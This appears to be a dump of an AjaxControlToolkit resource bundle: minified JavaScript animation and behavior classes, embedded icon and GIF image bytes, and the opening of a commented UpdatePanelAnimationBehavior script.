a=this,c=a.get_target();if(c&&a._property&&a._property.length>0){var b=c[a._property];if(b){if(a._propertyKey&&a._propertyKey.length>0)return b[a._propertyKey];return b}}return null},get_property:function(){return this._property},set_property:function(a){if(this._property!=a){this._property=a;this.raisePropertyChanged("property")}},get_propertyKey:function(){return this._propertyKey},set_propertyKey:function(a){if(this._propertyKey!=a){this._propertyKey=a;this.raisePropertyChanged("propertyKey")}}};$AA.PropertyAnimation.registerClass("AjaxControlToolkit.Animation.PropertyAnimation",$AA.Animation);$AA.registerAnimation("property",$AA.PropertyAnimation);$AA.DiscreteAnimation=function(e,c,f,d,b,a){$AA.DiscreteAnimation.initializeBase(this,[e,c,f,d,b]);this._values=a&&a.length?a:[]};$AA.DiscreteAnimation.prototype={getAnimatedValue:function(a){var b=Math.floor(this.interpolate(0,this._values.length-1,a));return this._values[b]},get_values:function(){return this._values},set_values:function(a){if(this._values!=a){this._values=a;this.raisePropertyChanged("values")}}};$AA.DiscreteAnimation.registerClass("AjaxControlToolkit.Animation.DiscreteAnimation",$AA.PropertyAnimation);$AA.registerAnimation("discrete",$AA.DiscreteAnimation);$AA.InterpolatedAnimation=function(f,d,g,a,b,c,e){$AA.InterpolatedAnimation.initializeBase(this,[f,d,g,a!==undefined?a:"style",b]);this._startValue=c;this._endValue=e};$AA.InterpolatedAnimation.prototype={get_startValue:function(){return this._startValue},set_startValue:function(b){var a=this;b=a._getFloat(b);if(a._startValue!=b){a._startValue=b;a.raisePropertyChanged("startValue")}},get_endValue:function(){return this._endValue},set_endValue:function(b){var a=this;b=a._getFloat(b);if(a._endValue!=b){a._endValue=b;a.raisePropertyChanged("endValue")}}};$AA.InterpolatedAnimation.registerClass("AjaxControlToolkit.Animation.InterpolatedAnimation",$AA.PropertyAnimation);$AA.registerAnimation("interpolated",$AA.InterpolatedAnimation);$AA.ColorAnimation=function(g,d,h,f,b,c,e){var a=this;$AA.ColorAnimation.initializeBase(a,[g,d,h,f,b,c,e]);a._start=null;a._end=null;a._interpolateRed=false;a._interpolateGreen=false;a._interpolateBlue=false};$AA.ColorAnimation.prototype={onStart:function(){var a=this;$AA.ColorAnimation.callBaseMethod(a,"onStart");a._start=$AA.ColorAnimation.getRGB(a.get_startValue());a._end=$AA.ColorAnimation.getRGB(a.get_endValue());a._interpolateRed=a._start.Red!=a._end.Red;a._interpolateGreen=a._start.Green!=a._end.Green;a._interpolateBlue=a._start.Blue!=a._end.Blue},getAnimatedValue:function(b){var a=this,e=a._start.Red,d=a._start.Green,c=a._start.Blue;if(a._interpolateRed)e=Math.round(a.interpolate(e,a._end.Red,b));if(a._interpolateGreen)d=Math.round(a.interpolate(d,a._end.Green,b));if(a._interpolateBlue)c=Math.round(a.interpolate(c,a._end.Blue,b));return $AA.ColorAnimation.toColor(e,d,c)},set_startValue:function(a){if(this._startValue!=a){this._startValue=a;this.raisePropertyChanged("startValue")}},set_endValue:function(a){if(this._endValue!=a){this._endValue=a;this.raisePropertyChanged("endValue")}}};$AA.ColorAnimation.getRGB=function(a){if(!a||a.length!=7)throw String.format(AjaxControlToolkit.Resources.Animation_InvalidColor,a);return {Red:parseInt(a.substr(1,2),16),Green:parseInt(a.substr(3,2),16),Blue:parseInt(a.substr(5,2),16)}};$AA.ColorAnimation.toColor=function(f,d,e){var c=f.toString(16),b=d.toString(16),a=e.toString(16);if(c.length==1)c="0"+c;if(b.length==1)b="0"+b;if(a.length==1)a="0"+a;return "#"+c+b+a};$AA.ColorAnimation.registerClass("AjaxControlToolkit.Animation.ColorAnimation",$AA.InterpolatedAnimation);$AA.registerAnimation("color",$AA.ColorAnimation);$AA.LengthAnimation=function(g,d,h,f,b,c,e,a){$AA.LengthAnimation.initializeBase(this,[g,d,h,f,b,c,e]);this._unit=a!=null?a:"px"};$AA.LengthAnimation.prototype={getAnimatedValue:function(b){var a=this,c=a.interpolate(a.get_startValue(),a.get_endValue(),b);return Math.round(c)+a._unit},get_unit:function(){return this._unit},set_unit:function(a){if(this._unit!=a){this._unit=a;this.raisePropertyChanged("unit")}}};$AA.LengthAnimation.registerClass("AjaxControlToolkit.Animation.LengthAnimation",$AA.InterpolatedAnimation);$AA.registerAnimation("length",$AA.LengthAnimation);$AA.MoveAnimation=function(d,c,e,f,h,g,i){var b=null,a=this;$AA.MoveAnimation.initializeBase(a,[d,c,e,b]);a._horizontal=f?f:0;a._vertical=h?h:0;a._relative=g===undefined?true:g;a._horizontalAnimation=new $AA.LengthAnimation(d,c,e,"style","left",b,b,i);a._verticalAnimation=new $AA.LengthAnimation(d,c,e,"style","top",b,b,i);a.add(a._verticalAnimation);a.add(a._horizontalAnimation)};$AA.MoveAnimation.prototype={onStart:function(){var a=this;$AA.MoveAnimation.callBaseMethod(a,"onStart");var b=a.get_target();a._horizontalAnimation.set_startValue(b.offsetLeft);a._horizontalAnimation.set_endValue(a._relative?b.offsetLeft+a._horizontal:a._horizontal);a._verticalAnimation.set_startValue(b.offsetTop);a._verticalAnimation.set_endValue(a._relative?b.offsetTop+a._vertical:a._vertical)},get_horizontal:function(){return this._horizontal},set_horizontal:function(b){var a=this;b=a._getFloat(b);if(a._horizontal!=b){a._horizontal=b;a.raisePropertyChanged("horizontal")}},get_vertical:function(){return this._vertical},set_vertical:function(b){var a=this;b=a._getFloat(b);if(a._vertical!=b){a._vertical=b;a.raisePropertyChanged("vertical")}},get_relative:function(){return this._relative},set_relative:function(b){var a=this;b=a._getBoolean(b);if(a._relative!=b){a._relative=b;a.raisePropertyChanged("relative")}},get_unit:function(){this._horizontalAnimation.get_unit()},set_unit:function(b){var a=this,c=a._horizontalAnimation.get_unit();if(c!=b){a._horizontalAnimation.set_unit(b);a._verticalAnimation.set_unit(b);a.raisePropertyChanged("unit")}}};$AA.MoveAnimation.registerClass("AjaxControlToolkit.Animation.MoveAnimation",$AA.ParallelAnimation);$AA.registerAnimation("move",$AA.MoveAnimation);$AA.ResizeAnimation=function(d,c,e,h,g,f){var b=null,a=this;$AA.ResizeAnimation.initializeBase(a,[d,c,e,b]);a._width=h;a._height=g;a._horizontalAnimation=new $AA.LengthAnimation(d,c,e,"style","width",b,b,f);a._verticalAnimation=new $AA.LengthAnimation(d,c,e,"style","height",b,b,f);a.add(a._horizontalAnimation);a.add(a._verticalAnimation)};$AA.ResizeAnimation.prototype={onStart:function(){var a=this;$AA.ResizeAnimation.callBaseMethod(a,"onStart");var b=a.get_target();a._horizontalAnimation.set_startValue(b.offsetWidth);a._verticalAnimation.set_startValue(b.offsetHeight);a._horizontalAnimation.set_endValue(a._width!==null&&a._width!==undefined?a._width:b.offsetWidth);a._verticalAnimation.set_endValue(a._height!==null&&a._height!==undefined?a._height:b.offsetHeight)},get_width:function(){return this._width},set_width:function(b){var a=this;b=a._getFloat(b);if(a._width!=b){a._width=b;a.raisePropertyChanged("width")}},get_height:function(){return this._height},set_height:function(b){var a=this;b=a._getFloat(b);if(a._height!=b){a._height=b;a.raisePropertyChanged("height")}},get_unit:function(){this._horizontalAnimation.get_unit()},set_unit:function(b){var a=this,c=a._horizontalAnimation.get_unit();if(c!=b){a._horizontalAnimation.set_unit(b);a._verticalAnimation.set_unit(b);a.raisePropertyChanged("unit")}}};$AA.ResizeAnimation.registerClass("AjaxControlToolkit.Animation.ResizeAnimation",$AA.ParallelAnimation);$AA.registerAnimation("resize",$AA.ResizeAnimation);$AA.ScaleAnimation=function(i,g,j,c,e,h,f,d){var b=null,a=this;$AA.ScaleAnimation.initializeBase(a,[i,g,j]);a._scaleFactor=c!==undefined?c:1;a._unit=e!==undefined?e:"px";a._center=h;a._scaleFont=f;a._fontUnit=d!==undefined?d:"pt";a._element=b;a._initialHeight=b;a._initialWidth=b;a._initialTop=b;a._initialLeft=b;a._initialFontSize=b};$AA.ScaleAnimation.prototype={getAnimatedValue:function(a){return this.interpolate(1,this._scaleFactor,a)},onStart:function(){var a=this;$AA.ScaleAnimation.callBaseMethod(a,"onStart");a._element=a.get_target();if(a._element){a._initialHeight=a._element.offsetHeight;a._initialWidth=a._element.offsetWidth;if(a._center){a._initialTop=a._element.offsetTop;a._initialLeft=a._element.offsetLeft}if(a._scaleFont)a._initialFontSize=parseFloat($common.getCurrentStyle(a._element,"fontSize"))}},setValue:function(b){var a=this;if(a._element){var e=Math.round(a._initialWidth*b),d=Math.round(a._initialHeight*b);a._element.style.width=e+a._unit;a._element.style.height=d+a._unit;if(a._center){a._element.style.top=a._initialTop+Math.round((a._initialHeight-d)/2)+a._unit;a._element.style.left=a._initialLeft+Math.round((a._initialWidth-e)/2)+a._unit}if(a._scaleFont){var c=a._initialFontSize*b;if(a._fontUnit=="px"||a._fontUnit=="pt")c=Math.round(c);a._element.style.fontSize=c+a._fontUnit}}},onEnd:function(){var b=null,a=this;a._element=b;a._initialHeight=b;a._initialWidth=b;a._initialTop=b;a._initialLeft=b;a._initialFontSize=b;$AA.ScaleAnimation.callBaseMethod(a,"onEnd")},get_scaleFactor:function(){return this._scaleFactor},set_scaleFactor:function(b){var a=this;b=a._getFloat(b);if(a._scaleFactor!=b){a._scaleFactor=b;a.raisePropertyChanged("scaleFactor")}},get_unit:function(){return this._unit},set_unit:function(a){if(this._unit!=a){this._unit=a;this.raisePropertyChanged("unit")}},get_center:function(){return this._center},set_center:function(b){var a=this;b=a._getBoolean(b);if(a._center!=b){a._center=b;a.raisePropertyChanged("center")}},get_scaleFont:function(){return this._scaleFont},set_scaleFont:function(b){var a=this;b=a._getBoolean(b);if(a._scaleFont!=b){a._scaleFont=b;a.raisePropertyChanged("scaleFont")}},get_fontUnit:function(){return this._fontUnit},set_fontUnit:function(a){if(this._fontUnit!=a){this._fontUnit=a;this.raisePropertyChanged("fontUnit")}}};$AA.ScaleAnimation.registerClass("AjaxControlToolkit.Animation.ScaleAnimation",$AA.Animation);$AA.registerAnimation("scale",$AA.ScaleAnimation);$AA.Action=function(b,a,c){$AA.Action.initializeBase(this,[b,a,c]);a===undefined&&this.set_duration(0)};$AA.Action.prototype={onEnd:function(){this.doAction();$AA.Action.callBaseMethod(this,"onEnd")},doAction:function(){throw Error.notImplemented();},getAnimatedValue:function(){},setValue:function(){}};$AA.Action.registerClass("AjaxControlToolkit.Animation.Action",$AA.Animation);$AA.registerAnimation("action",$AA.Action);$AA.EnableAction=function(c,b,d,a){$AA.EnableAction.initializeBase(this,[c,b,d]);this._enabled=a!==undefined?a:true};$AA.EnableAction.prototype={doAction:function(){var a=this.get_target();if(a)a.disabled=!this._enabled},get_enabled:function(){return this._enabled},set_enabled:function(b){var a=this;b=a._getBoolean(b);if(a._enabled!=b){a._enabled=b;a.raisePropertyChanged("enabled")}}};$AA.EnableAction.registerClass("AjaxControlToolkit.Animation.EnableAction",$AA.Action);$AA.registerAnimation("enableAction",$AA.EnableAction);$AA.HideAction=function(c,a,d,b){$AA.HideAction.initializeBase(this,[c,a,d]);this._visible=b};$AA.HideAction.prototype={doAction:function(){var a=this.get_target();a&&$common.setVisible(a,this._visible)},get_visible:function(){return this._visible},set_visible:function(a){if(this._visible!=a){this._visible=a;this.raisePropertyChanged("visible")}}};$AA.HideAction.registerClass("AjaxControlToolkit.Animation.HideAction",$AA.Action);$AA.registerAnimation("hideAction",$AA.HideAction);$AA.StyleAction=function(c,b,e,a,d){$AA.StyleAction.initializeBase(this,[c,b,e]);this._attribute=a;this._value=d};$AA.StyleAction.prototype={doAction:function(){var a=this.get_target();if(a)a.style[this._attribute]=this._value},get_attribute:function(){return this._attribute},set_attribute:function(a){if(this._attribute!=a){this._attribute=a;this.raisePropertyChanged("attribute")}},get_value:function(){return this._value},set_value:function(a){if(this._value!=a){this._value=a;this.raisePropertyChanged("value")}}};$AA.StyleAction.registerClass("AjaxControlToolkit.Animation.StyleAction",$AA.Action);$AA.registerAnimation("styleAction",$AA.StyleAction);$AA.OpacityAction=function(c,a,d,b){$AA.OpacityAction.initializeBase(this,[c,a,d]);this._opacity=b};$AA.OpacityAction.prototype={doAction:function(){var a=this.get_target();a&&$common.setElementOpacity(a,this._opacity)},get_opacity:function(){return this._opacity},set_opacity:function(b){var a=this;b=a._getFloat(b);if(a._opacity!=b){a._opacity=b;a.raisePropertyChanged("opacity")}}};$AA.OpacityAction.registerClass("AjaxControlToolkit.Animation.OpacityAction",$AA.Action);$AA.registerAnimation("opacityAction",$AA.OpacityAction);$AA.ScriptAction=function(c,a,d,b){$AA.ScriptAction.initializeBase(this,[c,a,d]);this._script=b};$AA.ScriptAction.prototype={doAction:function(){try{eval(this._script)}catch(a){}},get_script:function(){return this._script},set_script:function(a){if(this._script!=a){this._script=a;this.raisePropertyChanged("script")}}};$AA.ScriptAction.registerClass("AjaxControlToolkit.Animation.ScriptAction",$AA.Action);$AA.registerAnimation("scriptAction",$AA.ScriptAction);&Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.DynamicPopulateBehavior=function(c){var b=null,a=this;AjaxControlToolkit.DynamicPopulateBehavior.initializeBase(a,[c]);a._servicePath=b;a._serviceMethod=b;a._contextKey=b;a._cacheDynamicResults=false;a._populateTriggerID=b;a._setUpdatingCssClass=b;a._clearDuringUpdate=true;a._customScript=b;a._clickHandler=b;a._callID=0;a._currentCallID=-1;a._populated=false};AjaxControlToolkit.DynamicPopulateBehavior.prototype={initialize:function(){var a=this;AjaxControlToolkit.DynamicPopulateBehavior.callBaseMethod(a,"initialize");$common.prepareHiddenElementForATDeviceUpdate();if(a._populateTriggerID){var b=$get(a._populateTriggerID);if(b){a._clickHandler=Function.createDelegate(a,a._onPopulateTriggerClick);$addHandler(b,"click",a._clickHandler)}}},dispose:function(){var a=this;if(a._populateTriggerID&&a._clickHandler){var b=$get(a._populateTriggerID);b&&$removeHandler(b,"click",a._clickHandler);a._populateTriggerID=null;a._clickHandler=null}AjaxControlToolkit.DynamicPopulateBehavior.callBaseMethod(a,"dispose")},populate:function(contextKey){var a=this;if(a._populated&&a._cacheDynamicResults)return;if(a._currentCallID==-1){var eventArgs=new Sys.CancelEventArgs;a.raisePopulating(eventArgs);if(eventArgs.get_cancel())return;a._setUpdating(true)}if(a._customScript){var scriptResult=eval(a._customScript);a._setTargetHtml(scriptResult);a._setUpdating(false)}else{a._currentCallID=++a._callID;if(a._servicePath&&a._serviceMethod){Sys.Net.WebServiceProxy.invoke(a._servicePath,a._serviceMethod,false,{contextKey:contextKey?contextKey:a._contextKey},Function.createDelegate(a,a._onMethodComplete),Function.createDelegate(a,a._onMethodError),a._currentCallID);$common.updateFormToRefreshATDeviceBuffer()}}},_onMethodComplete:function(b,a){if(a!=this._currentCallID)return;this._setTargetHtml(b);this._setUpdating(false)},_onMethodError:function(b,c){var a=this;if(c!=a._currentCallID)return;if(b.get_timedOut())a._setTargetHtml(AjaxControlToolkit.Resources.DynamicPopulate_WebServiceTimeout);else a._setTargetHtml(String.format(AjaxControlToolkit.Resources.DynamicPopulate_WebServiceError,b.get_statusCode()));a._setUpdating(false)},_onPopulateTriggerClick:function(){this.populate(this._contextKey)},_setUpdating:function(b){var a=this;a.setStyle(b);if(!b){a._currentCallID=-1;a._populated=true;a.raisePopulated(a,Sys.EventArgs.Empty)}},_setTargetHtml:function(b){var a=this.get_element();if(a)if(a.tagName=="INPUT")a.value=b;else a.innerHTML=b},setStyle:function(c){var a=this,b=a.get_element();if(a._setUpdatingCssClass)if(!c){b.className=a._oldCss;a._oldCss=null}else{a._oldCss=b.className;b.className=a._setUpdatingCssClass}c&&a._clearDuringUpdate&&a._setTargetHtml("")},get_ClearContentsDuringUpdate:function(){return this._clearDuringUpdate},set_ClearContentsDuringUpdate:function(a){if(this._clearDuringUpdate!=a){this._clearDuringUpdate=a;this.raisePropertyChanged("ClearContentsDuringUpdate")}},get_ContextKey:function(){return this._contextKey},set_ContextKey:function(a){if(this._contextKey!=a){this._contextKey=a;this.raisePropertyChanged("ContextKey")}},get_PopulateTriggerID:function(){return this._populateTriggerID},set_PopulateTriggerID:function(a){if(this._populateTriggerID!=a){this._populateTriggerID=a;this.raisePropertyChanged("PopulateTriggerID")}},get_ServicePath:function(){return this._servicePath},set_ServicePath:function(a){if(this._servicePath!=a){this._servicePath=a;this.raisePropertyChanged("ServicePath")}},get_ServiceMethod:function(){return this._serviceMethod},set_ServiceMethod:function(a){if(this._serviceMethod!=a){this._serviceMethod=a;this.raisePropertyChanged("ServiceMethod")}},get_cacheDynamicResults:function(){return this._cacheDynamicResults},set_cacheDynamicResults:function(a){if(this._cacheDynamicResults!=a){this._cacheDynamicResults=a;this.raisePropertyChanged("cacheDynamicResults")}},get_UpdatingCssClass:function(){return this._setUpdatingCssClass},set_UpdatingCssClass:function(a){if(this._setUpdatingCssClass!=a){this._setUpdatingCssClass=a;this.raisePropertyChanged("UpdatingCssClass")}},get_CustomScript:function(){return this._customScript},set_CustomScript:function(a){if(this._customScript!=a){this._customScript=a;this.raisePropertyChanged("CustomScript")}},add_populating:function(a){this.get_events().addHandler("populating",a)},remove_populating:function(a){this.get_events().removeHandler("populating",a)},raisePopulating:function(b){var a=this.get_events().getHandler("populating");a&&a(this,b)},add_populated:function(a){this.get_events().addHandler("populated",a)},remove_populated:function(a){this.get_events().removeHandler("populated",a)},raisePopulated:function(b){var a=this.get_events().getHandler("populated");a&&a(this,b)}};AjaxControlToolkit.DynamicPopulateBehavior.registerClass("AjaxControlToolkit.DynamicPopulateBehavior",AjaxControlToolkit.BehaviorBase);�Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.BoxCorners=function(){throw Error.invalidOperation();};AjaxControlToolkit.BoxCorners.prototype={None:0,TopLeft:1,TopRight:2,BottomRight:4,BottomLeft:8,Top:1|2,Right:2|4,Bottom:4|8,Left:8|1,All:1|2|4|8};AjaxControlToolkit.BoxCorners.registerEnum("AjaxControlToolkit.BoxCorners",true);AjaxControlToolkit.RoundedCornersBehavior=function(c){var b=null,a=this;AjaxControlToolkit.RoundedCornersBehavior.initializeBase(a,[c]);a._corners=AjaxControlToolkit.BoxCorners.All;a._radius=5;a._color=b;a._parentDiv=b;a._originalStyle=b;a._borderColor=b;a._isDirty=true};AjaxControlToolkit.RoundedCornersBehavior.prototype={initialize:function(){AjaxControlToolkit.RoundedCornersBehavior.callBaseMethod(this,"initialize");this.update()},dispose:function(){this.disposeParentDiv();AjaxControlToolkit.RoundedCornersBehavior.callBaseMethod(this,"dispose")},update:function(){var k=true,e="1px",h="solid",g="none",f="px",a=this,d=a.get_element();if(!d||!a._isDirty||a.get_isUpdating())return;a.disposeParentDiv();var u=a.getBackgroundColor(),p=d.offsetWidth,b=d.cloneNode(false);a.moveChildren(d,b);a._originalStyle=d.style.cssText;d.style.backgroundColor="transparent";d.style.verticalAlign="top";d.style.padding="0";d.style.overflow="";d.style.className="";if(d.style.height&&d.style.height!="auto")d.style.height=parseInt($common.getCurrentStyle(d,"height"))+a._radius*2+f;else if(!d.style.width&&0<p)d.style.width=p+f;b.style.position="";b.style.border="";b.style.margin="";b.style.width="100%";b.id="";b.removeAttribute("control");if(a._borderColor){b.style.borderTopStyle=g;b.style.borderBottomStyle=g;b.style.borderLeftStyle=h;b.style.borderRightStyle=h;b.style.borderLeftColor=a._borderColor;b.style.borderRightColor=a._borderColor;b.style.borderLeftWidth=e;b.style.borderRightWidth=e;if(a._radius==0){b.style.borderTopStyle=h;b.style.borderBottomStyle=h;b.style.borderTopColor=a._borderColor;b.style.borderBottomColor=a._borderColor;b.style.borderTopWidth=e;b.style.borderBottomWidth=e}}else{b.style.borderTopStyle=g;b.style.borderBottomStyle=g;b.style.borderLeftStyle=g;b.style.borderRightStyle=g}for(var l=null,o=a._radius,s=a._radius,q=0,n=s;n>0;n--){var t=Math.acos(n/o),m=o-Math.round(Math.sin(t)*o),c=document.createElement("DIV");c.__roundedDiv=k;c.style.backgroundColor=u;c.style.marginLeft=m+f;c.style.marginRight=m-(a._borderColor?2:0)+f;c.style.height=e;c.style.fontSize=e;c.style.overflow="hidden";if(a._borderColor){c.style.borderLeftStyle=h;c.style.borderRightStyle=h;c.style.borderLeftColor=a._borderColor;c.style.borderRightColor=a._borderColor;var r=Math.max(0,q-m-1);c.style.borderLeftWidth=r+1+f;c.style.borderRightWidth=r+1+f;if(n==s){c.__roundedDivNoBorder=k;c.style.backgroundColor=a._borderColor}}d.insertBefore(c,l);var j=c;c=c.cloneNode(k);c.__roundedDiv=k;d.insertBefore(c,l);var i=c;l=c;q=m;if(!a.isCornerSet(AjaxControlToolkit.BoxCorners.TopLeft)){j.style.marginLeft="0";if(a._borderColor)j.style.borderLeftWidth=e}if(!a.isCornerSet(AjaxControlToolkit.BoxCorners.TopRight)){j.style.marginRight="0";if(a._borderColor){j.style.borderRightWidth=e;j.style.marginRight="-2px"}}if(!a.isCornerSet(AjaxControlToolkit.BoxCorners.BottomLeft)){i.style.marginLeft="0";if(a._borderColor)i.style.borderLeftWidth=e}if(!a.isCornerSet(AjaxControlToolkit.BoxCorners.BottomRight)){i.style.marginRight="0";if(a._borderColor){i.style.borderRightWidth=e;i.style.marginRight="-2px"}}}d.insertBefore(b,l);a._parentDiv=b;a._isDirty=false},disposeParentDiv:function(){var a=this;if(a._parentDiv){for(var c=a.get_element(),e=c.childNodes,d=e.length-1;d>=0;d--){var b=e[d];if(b){b==a._parentDiv&&a.moveChildren(b,c);try{c.removeChild(b)}catch(f){}}}if(a._originalStyle){c.style.cssText=a._originalStyle;a._originalStyle=null}a._parentDiv=null}},getBackgroundColor:function(){if(this._color)return this._color;return $common.getCurrentStyle(this.get_element(),"backgroundColor")},moveChildren:function(b,d){var c=0;while(b.hasChildNodes()){var a=b.childNodes[0];a=b.removeChild(a);d.appendChild(a);c++}return c},isCornerSet:function(a){return (this._corners&a)!=AjaxControlToolkit.BoxCorners.None},setCorner:function(b,c){var a=this;if(c)a.set_Corners(a._corners|b);else a.set_Corners(a._corners&~b)},get_Color:function(){return this._color},set_Color:function(b){var a=this;if(b!=a._color){a._color=b;a._isDirty=true;a.update();a.raisePropertyChanged("Color")}},get_Radius:function(){return this._radius},set_Radius:function(b){var a=this;if(b!=a._radius){a._radius=b;a._isDirty=true;a.update();a.raisePropertyChanged("Radius")}},get_Corners:function(){return this._corners},set_Corners:function(b){var a=this;if(b!=a._corners){a._corners=b;a._isDirty=true;a.update();a.raisePropertyChanged("Corners")}},get_BorderColor:function(){return this._borderColor},set_BorderColor:function(b){var a=this;if(b!=a._borderColor){a._borderColor=b;a._isDirty=true;a.update();a.raisePropertyChanged("BorderColor")}}};AjaxControlToolkit.RoundedCornersBehavior.registerClass("AjaxControlToolkit.RoundedCornersBehavior",AjaxControlToolkit.BehaviorBase);6   �& h�( @ '1<(1<Y(2=f_diV'1<'1<'1<�,5A�9CU�NT_�aiw~'1<'1<�4:G�GT|�3i��Go��9CU�'1<(1<�;@M�LZ��9x�G��W��9DVy'1<(2=�ADS�O]��9y�G��Y��Jk��??M0'1<)2=�JJZ�Q`��:y�G��Y��Jk��??M*+3>
6:D�VSd�Ub��;z�G��Z���Jj��??M*CCL�VSd�Ue��;z�G��Z���Jm��??M*�n�{jc�wf��sb܈o]��kY܀gU�|cPcCBI�VSd�jp��;{�G��Z���Ns��;;H*�����������������������������������|���u�����ұ���خ�����׭�̬������sd�qn}�;{�G��Z���i~����v�����������������������������������������������ڹ�������������������˝���k\�Sr��Z���h���Ү��������������������������������������������³��ڻ����������ڦ��ա��դ��������˝���se�w���Ү���ǰ��������������������������������������������������������������ޭ����������l�Ġ���ǰ��ǰ���������������������������������������̾���¡����������������������ߵ�������̫���zg��ǰ��ǰ��������������������������������������������ݳ�������������������������߭��ک�����ڮ�o[J�ġ���ǰ��������������������������������������������������������������������������ݬ�����m[���ǰ���������������������������������������ò���������������������������ݪ��ڦ����|i��ǰ��ǰ����������������q_��n\��kX��gT�}cQ�y`M�����Ҷ����������������������߬��������}��ǰ��ǰ������������������������������������������;�����������������������������������̨���ǰ��ǰ��������������������������������������������°��������������������������������ğ���������������������������q_��n\��kX��gT�}cQ�y`M�v\I��o]�����������������������������Ǣ�����۵���ǰ��ǰ��ǰ�����������������������������������������������������̾���������������ٲ�Ʈ������ݶ���ǰ��ǰ��ǰ��ǰ�����������������������������������������������������������ż�°����������Ũ��ֳ���¬��ǰ��ǰ��ǰ��ǰ��ǰ����������������q_��n\��kX��gT�}cQ�y`M�v\I�sXE��������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ������������������������������������������������������������������������ǰ���ǰ��ǰ��ǰ��ǰ��ǰ���ǰ������������������������������������������������������������������������ǰ�ġ����ǰ��ǰ��ǰ��ġ���ǰ������������������������������������������������������������������������ǰ��ǰ�ġ����ǰ��ġ���ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ��ǰ�ġ���ġ���ǰ��ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ�ġ���ǰ��ǰ��ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��������������������������������������������������������������������������������������������������������������������(  %.7/3;�4:G�9y��,3=14>�4:G�9y�W����t�}q\�zo���t���t���w�h^_�4:G�9y�W��{����s��s���u������Ú�«��~lښ�t�~���W��{���}����x\�����֦������������ݖ|n�����|��
��������������~�˶�����������������t���y��������������������������������������ʰ���|n����������������������������������������|n����������ylc���������������������ç���|n����������������������������������Ѧ��|n���|�����������`WO���}�����������ʰ�����ʹ��������������������������������Ǽ���������æ��ֲ���ǰ���������������������������ǰ���ǰ���ǰ������������������������������������ǰ�ġ���ġ���ǰ������������������������������������ǰ��ǰ�ġ���ǰ��ǰ�����������������������������������������������������njcf�b�aGIF89a�����������������������333���Evု�WWX���hhh"""������ٕ��SSS��������}}}��L��������F}�ev���������������III�������샤�w���񗗗������u����C~ݞ������������������������j��a��;t�����b�总��������Q����VVWWWW�������w������s�ꂈ����yzz���[����軻�R���������w����N��lll��hmm�������N�����������뙙�������VVV����������������[������.aص����������|������9j���������K���YYY������ۜ���������������!��,�?	H�����<)\ȰaC�	Jt�။&*���| �hRB�D��z�9�"({� �@�S�4K����!F�B*�`��Ц�9-`P����"�)R4"�!��\���$B¸���� &Gfؘ�G� �T-P�H"7D(m�HCRХK��&6��<"�#	00��re��#a��BM��%xRA�e�ܰ�I�	
"Ov2�
0�!�=��C��
�1��:�H@'��	$uI�)D�(>� @A�/�(�&S'W�O`����%w4R�MRpb�&��@$t��F�AV;�GIF89a����������0e����������������������333���!�
,���I��A��{��'z�(0�P���jL��4��Z�g{��NM�k�� lhS5�覷�@�l ����X�	:�l^��fv�
)�
Z��%�=	T:� �4���� ��=:�� b����c������ �����;�GIF89a������������������������������������������������������������k���������������������������������������������������������������������������x�ŋ��������������q��u����䜷խ�ᡳȱ�Φ�����)^�[��_�����t������������������������ְ�����������!�d,��d������������"%&������#(,.������'-2������256������.9��==�ÿ�27	<��<P=<��҂;�?���=�
>CP�O�PQFJ�E>>�0	:A_P�`bP^PD]�dI�@��)\�P�A"P��(H�LI�	�-\�a� (�z�s"�ܑK�顡� 
<H!dL�X�X�!#X�02<pt!�	�`�(@��.X�8a�	A Lxc�Y7l�A��,=�T�E��n�ȱ#Gik 0CFA+b�ػ��v��ր�5r  ���g�;D�t ;9GIF89a  ���������ɷ����������н�����XXX��װ��������!�,  �P�I��մͻ�Ȳ�� �򭟰L#͒�x3�<sԷ܇��l*a�X����	<��C3�8xiȨ��"
��rQLuNP���P�gE��8d2U$4iy+;M2w@X,�2��Z�1��
�R����EU�U��8�<�����<�9��=�Q�����yS<]Q�R�[~k7ժ����|n�������n��*�]��'���H!"�����6H����#;�GIF89a
�d�ml�un�wn�wr�zp�ys�|w�w��{��|������������������������������Ě�Ɯ�ĝ�Ɵ�ɠ�ơ�ɣ�̢�̥�Χ�Ω�ѫ�ӭ�֯�ر�س�۵��»�Ŀ��������!��,
�5,��A:x��D"F�ѡ�Rh�ȱc��4p���8X��˗0c��`�C�
N��ɳ�	
6@���ѝ(``��̧/'L�  @X�j�j��HB��$ҖM��8�
�.��N��ׁ;$GIF89a��.�1��8��8��<ݡS����������Ǝ�����������������������������������!�	 ,AA(�
 p�����P�
&L8 A@�p�h��,@�@���;Z// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Compat/Timer/Timer.js" />
/// <reference path="../Common/Common.js" />
/// <reference path="../Animation/Animations.js" />
/// <reference path="../Animation/AnimationBehavior.js" />


Type.registerNamespace('AjaxControlToolkit.Animation');

AjaxControlToolkit.Animation.UpdatePanelAnimationBehavior = function(element) {
    /// <summary>
    /// Play animations just before and just after an UpdatePanel updates
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" domElement="true">
    /// UpdatePanel associated with the behavior
    /// </param>
    AjaxControlToolkit.Animation.UpdatePanelAnimationBehavior.initializeBase(this, [element]);
    
    // Generic animation behaviors that automatically build animations from JSON descriptions
    this._onUpdating = new AjaxControlToolkit.Animation.GenericAnimationBehavior(element);
    this._onUpdated = new AjaxControlToolkit.Animation.GenericAnimationBehavior(element);
    
    this._postBackPending = null;
    this._pageLoadedHandler = null;
}
AjaxControlToolkit.Animation.UpdatePanelAnimationBehavior.prototype = {    
    initialize : function() {
        /// <summary>
        /// Initialize the behavior
        /// </summary>
        AjaxControlToolkit.Animation.UpdatePanelAnimationBehavior.callBaseMethod(this, 'initialize');
        
        // Wrap the UpdatePanel in another div (or span) that we'll do the animation with
        var element = this.get_element();
